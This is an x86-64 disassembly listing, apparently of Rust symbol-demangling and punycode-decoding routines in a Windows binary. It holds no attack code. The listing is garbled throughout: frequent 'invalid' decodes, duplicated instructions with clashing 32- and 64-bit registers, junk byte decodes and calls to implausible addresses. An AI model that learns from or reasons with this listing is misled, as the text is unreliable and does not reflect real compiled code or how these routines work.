xor edx, edx
nop
cmp byte [r8 + r10], dil
cmp byte [rax + rdx], bh
je 0x1400c81d0
inc r10
ret 0x394c
cmp rax, r10
jne 0x1400c81c0
jmp 0x1400c8231
add r10, r9
add edx, ecx
add r15, r10
inc r15
inc edi
inc edi
mov qword [rdx + 0x10], r15
mov r14, r15
sub r14, qword [rbp]
jb 0x1400c820b
cmp r15, qword [rbp - 0x10]
ja 0x1400c820b
mov rax, qword [rbp - 8]
lea rcx, [rax + r14]
lea ecx, [rax + rsi]
mov rsi, rdx
mov rdx, qword [rbp - 0x20]
mov r8, qword [rbp]
call fcn.140106bb0
invalid
add eax, dword [rax]
jmp 0xc9548209
add eax, dword [rax]
mov rdx, rsi
test eax, eax
je 0x1400c8250
mov rax, qword [rbp - 8]
lea r8, [rax + r15]
add al, 0x38
add al, 0x38
cmp byte [rax - 0x77], cl
fmul dword [rcx + rbp - 8]
mov rax, rbx
sub rax, r15
mov r10d, 0
mov edx, 0
movabs r14, 0x8080808080808080
jae 0x1400c8105
adc esi, 0xfffffffe
invalid
invalid
add byte [rax - 0x7f7f7f80], 0x80
or byte [rdi], 0x83
invalid
invalid
add byte [rax - 0x297cf080], 0xfe
adc esi, 0xfffffffe
invalid
jmp 0x1400c8238
mov qword [rdx + 0x10], rbx
mov dword [rdx + 0x10], ebx
xor r10d, r10d
mov rax, qword [rbp - 0x18]
mov qword [rax], r10
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rax, qword [rbp - 0x18]
mov qword [rax + 8], r14
call 0x1487d0ba4
call 0x1487d0ba4
mov qword [rax + 0x10], r15
mov r10d, 1
mov edx, 1
invalid
add bl, ch
invalid
jmp 0x1400c8238
int3
int3
int3
push rbp
push rsi
sub rsp, 0x48
lea rbp, [rsp + 0x40]
mov rsi, rdx
mov rsi, rdx
mov qword [rbp - 0x10], rcx
mov dword [rbp - 0x10], ecx
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
lea rdx, [0x140144963]
rol dh, cl
invalid
add byte [rcx - 0x48], al
invalid
add byte [rax], al
add byte [rax], al
rol dh, cl
invalid
add byte [rax], al
call qword [rax + 0x18]
mov qword [rbp - 8], rsi
mov byte [rbp], al
mov byte [rbp + 1], 0
lea rax, [0x140144970]
mov qword [rsp + 0x20], rax
lea rdx, str.kind
lea rcx, [rbp - 8]
lea r9, [rbp - 0x10]
lea ecx, [rbp - 0x10]
mov r8d, 4
add al, 0
add byte [rax], al
invalid
add al, 0
add byte [rax], al
invalid
add al, ch
call fcn.140014510
cmp byte [rbp + 1], 0
movzx ecx, byte [rbp]
je 0x1400c82fc
ret 0xfff4
mov al, 1
test cl, cl
jne 0x1400c831b
invalid
mov rax, qword [rbp - 8]
mov rax, qword [rbp - 8]
test byte [rax + 0x34], 4
xor al, 4
add al, 0x75
invalid
jne 0x1400c8303
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140144f49]
mov r8d, 2
mov eax, 2
invalid
mov eax, 2
jmp 0x1400c8318
test cl, cl
setne al
jmp 0x1400c831b
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0x82599
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
adc eax, 0x82599
mov r8d, 1
call qword [rax + 0x18]
nop
add rsp, 0x48
add esp, 0x48
invalid
pop rsi
pop rbp
ret
invalid
int3
int3
add byte [rax - 0x73], cl
or eax, 0x7cd0f
mov r8, qword [rcx + rax*8]
lea rcx, [0x140145078]
int 7
add byte [rax + 0x63], cl
add al, 0x81
int 7
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
ret 0x495d
jmp r9
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
ret 0x495d
invalid
int3
push rbx
sub rsp, 0x90
sub esp, 0x90
sub esp, 0x90
lea rbp, [rsp + 0x80]
mov rsi, rcx
mov rcx, qword [rcx]
or dword [rax - 0x7b], ecx
leave
invalid
or dword [rax - 0x7b], ecx
leave
je 0x1400c88d6
mov eax, dword [rsi + 0x18]
inc eax
mov dword [rsi + 0x18], eax
cmp eax, 0x1f4
jbe 0x1400c83d9
invalid
mov rcx, qword ss:[rsi + 0x20]
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je case.0x1400b4fd6.55
lea rdx, [0x140144eb8]
lea edx, [0x140144eb8]
invalid
mov r8d, 0x19
add byte [rax], al
call fcn.140013630
mov dil, 1
test al, al
ror byte [rdi], 0x85
jne 0x1400c83cc
add byte [rax], al
ror byte [rdi], 0x85
jne 0x1400c83cc
add byte [rax], al
mov qword [rsi], 0
add byte [rax], al
add byte [rax], al
mov byte [rsi + 8], 1
or byte [rcx], r8b
jmp 0x1400c893c
invalid
mov r8, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r8
jae case.0x1400c8412.2
invalid
invalid
add byte [rax], al
add dword [rcx + rcx*4 + 0x4e], ecx
adc byte [rbp + rcx*4 + 0x53], al
mov esi, 0x17fa8341
mov qword [rsi + 0x10], r9
lea r10d, [rbx - 0x42]
cmp r10d, 0x17
ja case.0x1400c8412.2
lea r11, [0x140178b1c]
movsxd r10, dword [r11 + r10*4]
adc al, 0x93
add r10, r11
jmp r10
cmp ecx, eax
jae 0x1400c8445
sal dword [rbx + 0x2b], 0x42
cmp byte [rcx + rcx], 0x73
invalid
invalid
cmp byte [rcx + r9], 0x73
or dword [rbx + 0x75], esi
and al, 0x4c
lea ecx, [rax + 2]
jne 0x1400c8445
lea r9, [rax + 2]
mov qword [rsi + 0x10], r9
cmp r9, r8
jae case.0x1400c8412.2
fld qword [rax + rax]
invalid
fld qword [rax + rax]
add byte [rdx - 0x80], al
cmp al, 9
pop rdi
cmp byte [rcx + r9], 0x5f
jne 0x1400c87fe
add rax, 3
mov qword [rsi + 0x10], rax
mov rdi, qword [rsi + 0x20]
mov qword [rsi + 0x20], 0
mov rcx, rsi
xor edx, edx
call fcn.1400c8370
invalid
inc dword [rax + rax*8 + 0x63a850f]
add byte [rax], al
mov qword [rsi + 0x20], rdi
test rdi, rdi
jne 0x1400c85bf
add dword [rax], eax
add cl, ch
jmp 0x1400c85df
push 1
add byte [rax], al
mov edi, edx
mov rcx, rsi
int1
call fcn.1400c95e0
mov rbx, rax
ret
ret
test bl, 1
jne 0x1400c86d6
test dword [rbx + 2], ecx
add byte [rax], al
mov rcx, rsi
mov edx, edi
cli
cli
call fcn.1400c8370
mov dil, 1
test al, al
jne 0x1400c893e
cmp qword [rsi], 0
je 0x1400c88a9
invalid
add byte [rax - 0x73], cl
invalid
lea rcx, [rbp - 0x10]
mov rdx, rsi
call fcn.1400c8c60
cmp byte [rbp - 0x10], 0
jne case.0x140092c52.233
cmp qword [rsi], 0
je 0x1400c88d6
test byte [rsp + rax], cl
add byte [rax], al
add byte ds:[rdi], cl
test byte [rsp + rax], cl
or al, 4
add byte [rax], al
mov r14, qword [rbp - 8]
lea rcx, [rbp - 0x10]
mov rdx, rsi
call fcn.1400c8d40
cmp qword [rbp - 0x10], 0
je 0x1400c8868
jge 0x1400c84ce
add byte [rdi], cl
test byte [rbx + 0x48000003], al
shr ebx, 0x20
shr rbx, 0x20
movups xmm0, xmmword [rbp - 0x10]
movups xmm1, xmmword [rbp]
movaps xmmword [rbp - 0x20], xmm1
sub dword [rbp - 0x20], ecx
sub dword [rbp - 0x20], ecx
movaps xmmword [rbp - 0x30], xmm0
cmp ebx, 0x110000
adc dword [rax], eax
adc dword [rax], eax
jne 0x1400c894e
mov rax, qword [rbp - 0x28]
mov eax, dword [rbp - 0x28]
or rax, qword [rbp - 0x18]
or eax, dword [rbp - 0x18]
je 0x1400c86c4
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
mov rcx, qword [rsi + 0x20]
test rcx, rcx
leave
leave
je 0x1400c86c4
add byte [rax], al
lea rdx, [0x140144ac8]
lea edx, [0x140144ac8]
mov r8d, 2
add al, byte [rax]
add byte [rax], al
call fcn.140013630
test al, al
jne 0x1400c893e
add al, 4
add byte [rax], al
invalid
hlt
add al, 4
add byte [rax], al
invalid
add byte [rax - 0x75], cl
push rsi
and byte [rax - 0x7b], cl
ror byte [rdi], cl
test byte [rbp + 1], bh
add byte [rax], al
mov rdx, qword [rsi + 0x20]
test rdx, rdx
je 0x1400c86c4
lea rcx, [rbp - 0x30]
call fcn.1400c8f30
add byte [rax], al
add byte [rax], al
test al, al
je 0x1400c86c4
add dword [rax], eax
invalid
ror byte [rdi], 0x84
insb byte [rdi], dx
add dword [rax], eax
add cl, ch
loope 0x1400c855e
invalid
jmp 0x1400c893e
add eax, dword [rax]
add byte [rax], al
add byte [rax - 0x73], cl
invalid
lea rcx, [rbp - 0x10]
lea ecx, [rbp - 0x10]
mov rdx, rsi
call fcn.1400c8c60
cmp byte [rbp - 0x10], 0
jge 0x1400c855c
add byte [rdi], cl
invalid
mov es, word [rcx]
add byte [rax], al
invalid
jge 0x1400c855c
lock add byte [rdi], cl
add byte [rdi], cl
test byte [rsi + 0xf000001], cl
add byte [rdi], cl
movzx ebx, byte [rbp - 0xf]
mov dh, 0x5d
int1
mov rcx, qword [rsi + 0x20]
test bl, bl
je 0x1400c8878
invalid
and byte [rbx + rbx*8 + 0x2f5840f], al
add byte [rax], al
invalid
add byte [rax - 0x7b], cl
test rcx, rcx
leave
je 0x1400c889a
lea rdx, [0x140144eb8]
mov r8d, 0x19
add byte [rcx - 0x48], al
sbb dword [rax], eax
add byte [rax], al
jmp 0x1400c888a
mov rcx, rsi
call fcn.1400c8ad0
add eax, 0xb7400000
add dword [rax + rax*8 + 0x113840f], eax
add byte [rax], al
add eax, 0xb7400000
add dword [rax + rax*8 + 0x113840f], eax
add byte [rax], al
jmp 0x1400c893e
lea rdx, [0x140144b83]
mov r8d, 1
add byte [rax], al
add byte [rax - 0x77], cl
stc
invalid
add byte [rax], al
add byte [rax - 0x77], cl
stc
call fcn.140013630
mov dil, 1
test al, al
jne 0x1400c893e
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x35f850f], eax
add byte [rax], al
mov rcx, rsi
call case.0x14009ea2d.169
mov dil, 1
test al, al
jne 0x1400c893e
test dword [rbx + rax], ecx
invalid
test dword [rbx + rax], ecx
add byte [rax - 0x7bf0b205], al
cmpsb byte [rsi], byte [rdi]
add byte [rax], al
add byte [rax - 0x75], cl
cmp bl, 0x4d
je 0x1400c86a1
mov rcx, qword [rsi + 0x20]
test rcx, rcx
and byte [rax - 0x7b], r9b
leave
je 0x1400c861e
lea rdx, [0x140144eea]
mov r8d, 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
call fcn.140013630
test al, al
jne 0x1400c893e
mov rcx, rsi
xor edx, edx
call fcn.1400c8370
test al, al
je 0x1400c86a1
jmp 0x1400c893e
int1
mov ebx, edx
call fcn.1400c8370
mov dil, 1
test al, al
jne 0x1400c893e
lea rdx, [0x140144ac8]
mov r8d, 2
call fcn.140013630
hlt
inc dword [rax + rax*8 + 0x2d1850f]
add byte [rax], al
hlt
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400c8690
lea rdx, [0x140144b83]
lea edx, [0x140144b83]
mov r8d, 1
call fcn.140013630
test al, al
jne 0x1400c893e
mov rcx, rsi
call fcn.1400c9b70
test rax, rax
jne 0x1400c893e
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400c86c4
lea rdx, [0x140144b82]
mov r8d, 1
call fcn.140013630
test al, al
jne 0x1400c893e
cmp qword [rsi], 0
je 0x1400c893c
dec dword [rsi + 0x18]
jmp 0x1400c893c
mov rcx, qword [rsi + 0x20]
test ebx, 0x100
jne 0x1400c87c7
test rcx, rcx
je 0x1400c87e9
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
add cl, ch
fadd dword [rax]
add byte [rax], al
add cl, ch
fadd dword [rax]
add byte [rax], al
cmp qword [rsi], 0
je 0x1400c88d6
mov rbx, qword [rbp - 8]
lea rcx, [rbp - 0x10]
mov rdx, rsi
call fcn.1400c8d40
cmp qword [rbp - 0x10], 0
je 0x1400c8868
movups xmm0, xmmword [rbp - 0x10]
movups xmm1, xmmword [rbp]
movaps xmmword [rbp - 0x40], xmm1
movaps xmmword [rbp - 0x50], xmm0
mov rdx, qword [rsi + 0x20]
test rdx, rdx
je 0x1400c86c4
lea rcx, [rbp - 0x50]
call fcn.1400c8f30
mov dil, 1
test al, al
jne 0x1400c893e
mov rax, qword [rsi + 0x20]
test rax, rax
je 0x1400c86c4
add dword [rax], eax
add byte [rax - 0x75], cl
push rsi
and byte [rax - 0x77], cl
fld1
sbb bl, ch
hlt
test rcx, rcx
je 0x1400c87e9
lea rdx, [0x140144eb8]
mov r8d, 0x19
call fcn.140013630
mov dil, 1
test al, al
jne 0x1400c893e
scasb al, byte [rdi]
hlt
shr ebx, 8
and bl, 1
mov qword [rsi], 0
mov byte [rsi + 8], bl
jmp 0x1400c893c
xor eax, eax
mov r10d, 0x3e
movzx edx, byte [rcx + r9]
cmp dl, 0x5f
je 0x1400c88fe
lea r11d, [rdx - 0x30]
cmp r11b, 0xa
jb 0x1400c8841
lea r11d, [rdx - 0x61]
lea ebx, [rdx - 0x61]
cmp r11b, 0x1a
jae 0x1400c882d
add dl, 0xa9
jmp 0x1400c883e
lea r11d, [rdx - 0x41]
cmp r11b, 0x1a
sti
sbb cl, byte [rdi]
adc esp, 0
add byte [rax], al
sti
sbb cl, byte [rdi]
adc esp, 0
add byte [rax], al
add dl, 0xe3
mov r11d, edx
inc r9
mov qword [rsi + 0x10], r9
mul r10
jo case.0x1400c8412.2
movzx edx, r11b
add rax, rdx
jb case.0x1400c8412.2
cmp r9, r8
jb 0x1400c8806
jmp case.0x1400c8412.2
movzx ebx, byte [rbp - 8]
mov rcx, qword [rsi + 0x20]
test bl, bl
jne case.0x140091f6b.229
invalid
dec dword [rax - 0x7b]
leave
test rcx, rcx
je 0x1400c889a
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.140013630
mov dil, 1
test al, al
jne 0x1400c893e
mov qword [rsi], 0
mov byte [rsi + 8], bl
jmp 0x1400c893c
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400c893c
lea rdx, [0x140144ac8]
mov r8d, 2
call fcn.140013630
test al, al
jne 0x1400c893e
invalid
jb 0x1400c8915
cmp qword [rsi], 0
jne 0x1400c84aa
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
test ecx, ecx
je 0x1400c893c
lea rdx, [0x140144ed1]
mov r8d, 1
add byte [rax - 0x7f], cl
invalid
nop
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rsi
pop r14
pop rbp
jmp fcn.140013630
add byte [rax - 0x7f], cl
invalid
inc r9
mov qword [rsi + 0x10], r9
cmp rax, 0xfffffffffffffffd
jbe 0x1400c8445
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400c8931
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.140013630
mov dil, 1
test al, al
jne 0x1400c893e
mov qword [rsi], 0
mov byte [rsi + 8], 0
xor edi, edi
mov eax, edi
add rsp, 0x90
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400c8973
lea rdx, [0x140144edb]
mov r8d, 3
call fcn.140013630
test al, al
jne 0x1400c893e
mov rax, qword [rsi + 0x20]
jmp 0x1400c8975
xor eax, eax
cmp ebx, 0x43
je 0x1400c8993
cmp ebx, 0x53
jne 0x1400c89af
test rax, rax
je 0x1400c89cb
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
lea rcx, str._fmt::Error_s_should_be_impossible_without_a__fmt::Formatter_
lea r9, [0x1401448b8]
lea r8, [rbp - 0x10]
mov edx, 0x3d
call fcn.1401088e0
int3
mov byte [rcx + 8], 0
mov qword [rcx], 0
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
add eax, edx
sub rax, rdi
add r8, r10
dec r8
xor edx, edx
nop word cs:[rax + rax]
test rax, rax
je 0x1400c8edc
mov rbx, rax
dec rax
cmp byte [r8 + rbx], 0x5f
jne case.0x14001a3ad.2732
mov r14, rcx
mov rcx, rax
mov rdx, rdi
mov r8, rsi
call fcn.1400cd1f0
test rbx, rbx
je 0x1400c8ee5
cmp rsi, rbx
jbe 0x1400c8ee3
cmp byte [rdi + rbx], 0xbf
jg 0x1400c8ee5
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
mov r9, rsi
call fcn.140108ac0
mov qword [rcx], rdi
mov qword [rcx + 8], rsi
mov qword [rcx + 0x10], 1
mov qword [rcx + 0x18], 0
jmp 0x1400c8e0c
mov eax, 1
jmp 0x1400c8eee
jne 0x1400c8ea3
sub rsi, rbx
add rdi, rbx
mov rcx, r14
test rsi, rsi
je 0x1400c8e01
mov qword [rcx], rax
mov qword [rcx + 8], rdx
mov qword [rcx + 0x10], rdi
mov qword [rcx + 0x18], rsi
jmp 0x1400c8e0c
or eax, 0x7bf36
mov qword [rsp + 0x20], rcx
and al, 0x20
mov rcx, r10
mov rdx, r9
mov edx, ecx
mov edx, ecx
mov r9, rax
call fcn.140108ac0
sti
add eax, dword [rax]
sti
add eax, dword [rax]
int3
movzx r11d, byte [rcx]
movzx edx, r11b
sbb dword [rcx + 0xf], eax
mov dh, 0xd3
test dl, dl
js 0x1400c8ff0
inc rcx
cmp r15, 0x80
jne 0x1400c9090
jmp 0x1400c94d5
mov r8d, edx
and r8d, 0x1f
movzx esi, byte [rcx + 1]
and esi, 0x3f
cmp dl, 0xdf
jbe 0x1400c904f
movzx r9d, byte [rcx + 2]
shl esi, 6
and r9d, 0x3f
or r9d, esi
cmp r11b, 0xf0
jb 0x1400c906b
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, r8d
cmp edx, 0x110000
je 0x1400c90d1
add rcx, 4
cmp r15, 0x80
cmp edi, 0x80
cmp edi, 0x80
jne 0x1400c9090
jmp 0x1400c94d5
add rcx, 2
shl r8d, 6
invalid
or r8d, esi
mov edx, r8d
cmp r15, 0x80
jne 0x1400c9090
invalid
jmp 0x1400c94d5
add rcx, 3
shl r8d, 0xc
or al, 0x45
or ecx, eax
or al, 0x45
or ecx, eax
mov edx, r9d
cmp r15, 0x80
je 0x1400c94d5
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
add byte [rax], al
mov dword [rbp + r15*4 - 0x58], edx
inc r15
cmp rcx, rax
jne 0x1400c8fc0
jmp 0x1400c90d1
sbb byte [rax - 0x7f], cl
invalid
add rsp, 0x288
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp rax
xor r15d, r15d
mov rax, qword [rbp + 0x1b8]
mov r13, qword [rbp + 0x1c8]
add rax, r13
mov qword [rbp + 0x1e0], rax
add byte [rdx - 0x73], cl
add al, 0xbd
add al, 0
add byte [rax], al
add byte [rdx - 0x73], cl
add al, 0xbd
add al, 0
add byte [rax], al
mov qword [rbp + 0x1e8], rax
mov rax, r15
not rax
not eax
not eax
mov qword [rbp + 0x1d0], rax
lea rax, [r15 + 1]
mov qword [rbp + 0x200], rax
lea r12, [rbp + r15*4 - 0x64]
mov eax, 0x2bc
mov esp, 0x48000002
mov dword [rbp + 0x1f0], eax
mov esp, 0x48000002
mov dword [rbp + 0x1f0], eax
mov r14d, 0x48
mov eax, 0x80
mov qword [rbp + 0x1f8], rax
mov edx, 0x1a
xor r8d, r8d
mov ecx, 0x24
sub rcx, r14
mov eax, 0
cmovae rax, rcx
cmp rax, 1
adc rax, 0
cmp rax, 0x1a
cmovae rax, rdx
lea ecx, [r10 - 0x61]
cmp cl, 0x1a
jb 0x1400c9179
lea ecx, [r10 - 0x30]
lea ecx, [rdx - 0x30]
cmp cl, 9
ja 0x1400c94d5
add byte [rax], al
add byte [rax], al
add r10b, 0xea
mov ecx, r10d
mov ebx, 0x1a
inc r13
movzx ecx, cl
cmp rax, rcx
jbe case.0x140068e61.418
invalid
add byte [rcx - 1], cl
invalid
add r8, rcx
add r8, rcx
jb 0x1400c94d5
add byte [rcx - 0x73], cl
jg 0x1400c9197
lea rdi, [r15 + 1]
mov rax, r8
mov eax, eax
or rax, rdi
shr rax, 0x20
je 0x1400c92a2
invalid
add byte [rcx + rcx*4 - 0x40], cl
mov rax, r8
xor edx, edx
div rdi
mov r9, rdx
ror dword [rax + 1], 1
test eax, edi
add dword [rax], eax
add byte [rax], al
ror dword [rax + 1], 1
test eax, edi
add dword [rax], eax
add byte [rax], al
jae 0x1400c92b9
add byte [rax], al
jae 0x1400c92b9
add cl, ch
adc al, byte [rbx]
add byte [rax], al
nop word cs:[rax + rax]
nop word cs:[rax + rax]
jmp 0x1400c94d5
nop word cs:[rax + rax]
cmp r13, qword [rbp + 0x1e0]
cmp ebp, dword [rbp + 0x1e0]
je 0x1400c94d5
test al, bh
add al, byte [rax]
add byte [rdx + 0x48], bh
mov edx, 0x48
sub rdx, r14
mov esi, 0
mov esi, 0
cmovae rsi, rdx
cmp rsi, 1
adc rsi, 0
cmp rsi, 0x1a
invalid
invalid
invalid
cmovae rsi, rbx
mov r9d, 0x24
sub r9, rax
sub ecx, eax
sub ecx, eax
mov edi, 0x6c
nop dword [rax]
invalid
invalid
add byte [rax - 0x77], cl
clc
mov rax, rdi
sub rax, r14
mov r11d, 0
cmovae r11, rax
cmovae ebx, eax
cmovae ebx, eax
movzx eax, byte [r13]
lea edx, [rax - 0x61]
cmp dl, 0x1a
jb 0x1400c923d
lea edx, [rax - 0x30]
cmp dl, 9
ja 0x1400c94d5
invalid
add byte [rdx + rbp*8], al
mov edx, eax
movzx r10d, dl
mov rax, r10
mul r9
mul ecx
mul ecx
jo 0x1400c94d5
add rcx, rax
jb 0x1400c94d5
cmp rsi, r10
ja 0x1400c9332
add byte [rax], al
invalid
add byte [rax], al
mov edx, 0x24
and al, 0
add byte [rax], al
sub rdx, rsi
sub edx, esi
mov rax, r9
mul rdx
jo 0x1400c94d5
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rcx - 0x77], cl
ror dword [rcx - 1], 0xc5
mov r9, rax
inc r13
cmp r11, 1
adc r11, 0
adc ebx, 0
adc ebx, 0
cmp r11, 0x1a
cmovae r11, rbx
add rdi, 0x24
add edi, 0x24
add edi, 0x24
mov rsi, r11
cmp r13, qword [rbp + 0x1e0]
jne 0x1400c9210
test dword [rbx - 1], esi
invalid
invalid
test dword [rbx - 1], esi
invalid
jmp 0x1400c94d5
xor eax, dword [rdx]
add byte [rax], al
mov eax, r8d
xor edx, edx
div edi
mov r9d, edx
add qword [rbp + 0x1f8], rax
add byte [rdi], cl
invalid
sbb al, 2
add byte [rax], al
invalid
add byte [rdi], cl
invalid
sbb al, 2
add byte [rax], al
invalid
add byte [rax - 0x75], cl
test eax, edi
add dword [rax], eax
add byte [rax - 0x3f], cl
call 0x14b91a1e7
test dword [rbx], ecx
mov rax, qword [rbp + 0x1f8]
shr rax, 0x20
jne 0x1400c94d5
test dword [rbx], ecx
add al, byte [rax]
invalid
test dword [rbx], ecx
add al, byte [rax]
add byte [rax - 0x75], cl
test eax, edi
add dword [rax], eax
add byte [0x1400d6ad6], dh
add byte [rax], al
mov rax, qword [rbp + 0x1f8]
xor eax, 0xd800
add eax, 0xffef0000
cmp eax, 0xffef0800
jb 0x1400c94d5
cmp r15, 0x7f
ja 0x1400c94d5
invalid
retf 0x2876
cmp r10, 7
jbe 0x1400c93a0
mov rax, r8
mov r11, qword [rbp + 0x200]
add byte [rdx], al
add byte [rax], al
or rax, r11
shr rax, 0x20
invalid
je 0x1400c9343
and byte [rsi + rbp + 0x4c], dh
mov eax, eax
mov rax, r8
xor edx, edx
div r11
jmp 0x1400c934b
invalid
mov dword [rax], eax
add byte [rax], al
jmp 0x1400c95c6
add byte [rax], al
add cl, ch
xchg esp, eax
add al, byte [rax]
add byte [rcx - 1], cl
invalid
inc r13
add r8, rcx
jae 0x1400c9192
invalid
jmp 0x1400c94d5
mov eax, r8d
xor edx, edx
sal byte [rcx], 0xd2
div r11d
div ebx
mov rdx, r10
and rdx, 0xfffffffffffffff8
imul rax, qword [rbp + 0x1d0]
add byte [rax], al
add byte [rax], al
add r8, rax
mov rax, r15
sub rax, r8
ror byte [rax - 0x7d], 0xe0
clc
ror byte [rax - 0x7d], 0xe0
clc
neg rax
xor r8d, r8d
nop dword [rax]
movups xmm0, xmmword [r12 + r8*4 - 0x14]
adc byte [rsp + rax*4 - 0x14], al
movups xmm1, xmmword [r12 + r8*4 - 4]
movups xmmword [r12 + r8*4], xmm1
movups xmmword [r12 + r8*4 - 0x10], xmm0
add r8, 0xfffffffffffffff8
sar al, 0x4c
cmp eax, eax
sar al, 0x4c
cmp eax, eax
jne 0x1400c9370
cmp r10, rdx
je 0x1400c93b6
sal byte [rcx + riz + 0x49], cl
sub edi, edx
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx - 0x75], al
mov ebp, 0x448942a4
mov ebp, 0x478d49a8
dec dword [rcx - 0x77]
mov eax, dword [rbp + r15*4 - 0x5c]
mov dword [rbp + r15*4 - 0x58], eax
lea rax, [r15 - 1]
mov r15, rax
invalid
cmp rax, r9
cmp eax, ecx
invalid
cmp eax, ecx
ja 0x1400c93a0
invalid
mov rax, qword [rbp + 0x1f8]
mov dword [rbp + r9*4 - 0x58], eax
cmp r13, qword [rbp + 0x1e0]
je 0x1400c9582
add byte [rax], al
add byte [rax], al
movzx r10d, byte [r13]
mov rax, rcx
shr rax, 0x20
mov r11, qword [rbp + 0x1e8]
je 0x1400c93f5
push rbp
add byte [rax - 0x77], cl
enter 0xffffffffffffc148, 0xffffffffffffffe8
and byte [rbx + rcx*4 - 0x63], cl
call 0x1b40c93e4
adc dword [rax - 0x77], ecx
enter 0xffffffffffffd231, 0x48
div dword [rbp + 0x1f0]
mov rax, rcx
xor edx, edx
div qword [rbp + 0x1f0]
mov rcx, rax
jmp 0x1400c9401
mov eax, ecx
xor edx, edx
div dword [rbp + 0x1f0]
add byte [rax], al
add byte [rax], al
mov ecx, eax
ror dword [rax - 0x75], 0xb5
add byte [rdx], al
add byte [rax], al
mov rsi, qword [rbp + 0x200]
mov esi, dword [rbp + 0x200]
movabs rbx, 0xea0ea0ea0ea0ea0f
invalid
mov rax, rcx
or rax, rdi
shr rax, 0x20
je 0x1400c943a
mov rax, rcx
xor edx, edx
ror byte [rax - 9], cl
invalid
enter 0xffffffffffffd231, 0x48
div edi
ror byte [rax - 9], cl
test dword [rax - 0x77], 0xca0148c2
mov rdx, rax
add rdx, rcx
xor r8d, r8d
cmp rdx, 0x1c8
enter 1, 0
jae 0x1400c9451
jmp 0x1400c947a
mov eax, ecx
xor edx, edx
div edi
mov edx, eax
add rdx, rcx
xor r8d, r8d
cmp rdx, 0x1c8
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rdx + 0x29], dh
add byte [rax], al
jb 0x1400c947a
mov rcx, rdx
mov ecx, edx
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax - 0x77], cl
enter 0xfffffffffffff748, 0xffffffffffffffe3
mov rax, rcx
mul rbx
shr rdx, 5
add r8, 0x24
cmp rcx, 0x3e57
shl byte [rax + rcx*2], 0x81
stc
push rdi
add byte ds:[rax], al
mov rcx, rdx
ja 0x1400c9460
inc r9
lea eax, [rdx*4]
lea eax, [rax + rax*8]
add edx, 0x26
mov rcx, rdx
ror dword [rbp + 0x9504], 0
add byte [rbp - 0x3d7c3ffc], cl
mov rcx, rdx
xor edx, edx
div cx
movzx r14d, ax
add r14, r8
add r11, 4
mov qword [rbp + 0x1e8], r11
dec qword [rbp + 0x1d0]
inc rsi
mov qword [rbp + 0x200], rsi
add byte [rdx], al
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add r12, 4
mov eax, 2
add byte [rax - 0x77], cl
mov qword [rbp + 0x1f0], rax
lock add dword [rax], eax
add byte [rcx - 0x77], cl
dec dword [rbp - 0x77]
enter 0x1aba, 0
sbb al, byte [rax]
add byte [rax], al
lock add dword [rax], eax
add byte [rcx - 0x77], cl
dec dword [rbp - 0x77]
enter 0x1aba, 0
sbb al, byte [rax]
add byte [rax], al
jmp 0x1400c913b
mov rax, qword [rbp + 0x1c0]
add byte [rax], al
mov r14, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
mov eax, dword [rax + 0x28]
mov eax, dword [rax + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.punycode_0
adc eax, 0x7b7e1
adc eax, 0x7b7e1
mov r8d, 9
or dword [rax], eax
add byte [rax], al
invalid
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
mov rsi, rax
call rax
rol byte [rcx - 0x4b], 1
invalid
test al, al
invalid
jne 0x1400c9553
